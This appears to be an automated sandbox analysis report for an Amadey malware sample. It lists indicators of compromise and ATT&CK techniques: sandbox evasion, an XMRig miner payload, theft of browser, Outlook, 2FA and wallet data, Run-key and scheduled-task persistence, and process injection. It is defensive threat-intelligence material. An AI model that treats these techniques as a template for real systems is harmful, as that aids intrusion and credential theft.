amadey | a17d4305d879fd288d926be3d78e28d798743522d0a0f9e98d7befe423a6bc88

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	36D6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3EC6.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/2060-814-0x00007FF6AA5D0000-0x00007FF6AADC4000-memory.dmp	xmrig
behavioral2/memory/2060-825-0x00007FF6AA5D0000-0x00007FF6AADC4000-memory.dmp	xmrig

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	36D6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	36D6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3EC6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3EC6.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	179.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	179.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	FB9C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	10AE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	F968.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	F968.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	FB9C.exe

Executes dropped EXE 37 IoCs

pid	Process
4204	F968.exe
4860	FB9C.exe
5100	F968.exe
2640	FB9C.exe
1284	179.exe
620	F968.exe
2188	4E5.exe
4496	FB9C.exe
3032	6BB.exe
4628	179.exe
1244	F968.exe
2412	FB9C.exe
5028	10AE.exe
3168	Player3.exe
2628	build2.exe
2664	ss31.exe
3276	1737.exe
2084	nbveek.exe
3172	XandETC.exe
4580	build2.exe
3180	build3.exe
5036	36D6.exe
752	3EC6.exe
4248	179.exe
2500	179.exe
3676	build2.exe
4744	mstsca.exe
5064	nbveek.exe
4900	build2.exe
3360	build2.exe
1684	build2.exe
4984	build3.exe
3096	build3.exe
3596	updater.exe
4916	nbveek.exe
4088	6536.exe
5044	745A.exe

Loads dropped DLL 9 IoCs

pid	Process
4580	build2.exe
4580	build2.exe
3360	build2.exe
3360	build2.exe
1684	build2.exe
1684	build2.exe
4688	rundll32.exe
4720	rundll32.exe
4636	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4044	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 8 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000700000002315d-332.dat	themida
behavioral2/files/0x000700000002315d-334.dat	themida
behavioral2/memory/5036-342-0x0000000000AC0000-0x00000000016B7000-memory.dmp	themida
behavioral2/files/0x0007000000023171-404.dat	themida
behavioral2/files/0x0007000000023171-403.dat	themida
behavioral2/memory/752-406-0x00000000006E0000-0x00000000012D7000-memory.dmp	themida
behavioral2/memory/5036-422-0x0000000000AC0000-0x00000000016B7000-memory.dmp	themida
behavioral2/memory/752-457-0x00000000006E0000-0x00000000012D7000-memory.dmp	themida

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2060-814-0x00007FF6AA5D0000-0x00007FF6AADC4000-memory.dmp	upx
behavioral2/memory/2060-825-0x00007FF6AA5D0000-0x00007FF6AADC4000-memory.dmp	upx

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\aa8759f5-63d7-4a6d-92aa-6ef23192f0bc\\F968.exe\" --AutoStart"	F968.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	36D6.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3EC6.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
41	api.2ip.ua
46	api.2ip.ua
84	api.2ip.ua
31	api.2ip.ua
32	api.2ip.ua

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5036	36D6.exe
752	3EC6.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 4204 set thread context of 5100	4204	F968.exe	92
PID 4860 set thread context of 2640	4860	FB9C.exe	93
PID 1284 set thread context of 4628	1284	179.exe	100
PID 620 set thread context of 1244	620	F968.exe	102
PID 4496 set thread context of 2412	4496	FB9C.exe	103
PID 2628 set thread context of 4580	2628	build2.exe	115
PID 4248 set thread context of 2500	4248	179.exe	137
PID 3676 set thread context of 3360	3676	build2.exe	145
PID 4900 set thread context of 1684	4900	build2.exe	146
PID 3596 set thread context of 2548	3596	updater.exe	210
PID 3596 set thread context of 2060	3596	updater.exe	216

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1492	sc.exe
2404	sc.exe
4292	sc.exe
4468	sc.exe
2916	sc.exe
228	sc.exe
1032	sc.exe
1300	sc.exe
1472	sc.exe
3472	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 10 IoCs

pid	pid_target	Process	procid_target
3384	3032	WerFault.exe	101
4204	3276	WerFault.exe	110
4008	4580	WerFault.exe	115
4780	5036	WerFault.exe	130
4276	752	WerFault.exe	131
3428	3360	WerFault.exe	145
4368	1684	WerFault.exe	146
4924	4720	WerFault.exe	181
4924	5044	WerFault.exe	194
2148	4088	WerFault.exe	186

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4E5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4E5.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4E5.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2128	schtasks.exe
4416	schtasks.exe
4824	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1620	setup.exe
1620	setup.exe
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE
3160	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3160	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1620	setup.exe
2188	4E5.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeShutdownPrivilege	3160	Explorer.EXE
Token: SeCreatePagefilePrivilege	3160	Explorer.EXE
Token: SeShutdownPrivilege	2680	powercfg.exe
Token: SeCreatePagefilePrivilege	2680	powercfg.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeShutdownPrivilege	924	powercfg.exe
Token: SeCreatePagefilePrivilege	924	powercfg.exe
Token: SeShutdownPrivilege	3576	powercfg.exe
Token: SeCreatePagefilePrivilege	3576	powercfg.exe
Token: SeShutdownPrivilege	5068	powercfg.exe
Token: SeCreatePagefilePrivilege	5068	powercfg.exe
Token: SeIncreaseQuotaPrivilege	4124	powershell.exe
Token: SeSecurityPrivilege	4124	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 4204	3160	Explorer.EXE	90
PID 3160 wrote to memory of 4204	3160	Explorer.EXE	90
PID 3160 wrote to memory of 4204	3160	Explorer.EXE	90
PID 3160 wrote to memory of 4860	3160	Explorer.EXE	91
PID 3160 wrote to memory of 4860	3160	Explorer.EXE	91
PID 3160 wrote to memory of 4860	3160	Explorer.EXE	91
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4204 wrote to memory of 5100	4204	F968.exe	92
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 4860 wrote to memory of 2640	4860	FB9C.exe	93
PID 5100 wrote to memory of 4044	5100	F968.exe	94
PID 5100 wrote to memory of 4044	5100	F968.exe	94
PID 5100 wrote to memory of 4044	5100	F968.exe	94
PID 3160 wrote to memory of 1284	3160	Explorer.EXE	95
PID 3160 wrote to memory of 1284	3160	Explorer.EXE	95
PID 3160 wrote to memory of 1284	3160	Explorer.EXE	95
PID 5100 wrote to memory of 620	5100	F968.exe	96
PID 5100 wrote to memory of 620	5100	F968.exe	96
PID 5100 wrote to memory of 620	5100	F968.exe	96
PID 2640 wrote to memory of 4496	2640	FB9C.exe	99
PID 2640 wrote to memory of 4496	2640	FB9C.exe	99
PID 2640 wrote to memory of 4496	2640	FB9C.exe	99
PID 3160 wrote to memory of 2188	3160	Explorer.EXE	98
PID 3160 wrote to memory of 2188	3160	Explorer.EXE	98
PID 3160 wrote to memory of 2188	3160	Explorer.EXE	98
PID 3160 wrote to memory of 3032	3160	Explorer.EXE	101
PID 3160 wrote to memory of 3032	3160	Explorer.EXE	101
PID 3160 wrote to memory of 3032	3160	Explorer.EXE	101
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 1284 wrote to memory of 4628	1284	179.exe	100
PID 620 wrote to memory of 1244	620	F968.exe	102
PID 620 wrote to memory of 1244	620	F968.exe	102
PID 620 wrote to memory of 1244	620	F968.exe	102
PID 620 wrote to memory of 1244	620	F968.exe	102
PID 620 wrote to memory of 1244	620	F968.exe	102
PID 620 wrote to memory of 1244	620	F968.exe	102
PID 620 wrote to memory of 1244	620	F968.exe	102
PID 620 wrote to memory of 1244	620	F968.exe	102
PID 620 wrote to memory of 1244	620	F968.exe	102
PID 620 wrote to memory of 1244	620	F968.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1620
- C:\Users\Admin\AppData\Local\Temp\F968.exe
  C:\Users\Admin\AppData\Local\Temp\F968.exe
  2⤵
  - Executes dropped EXE
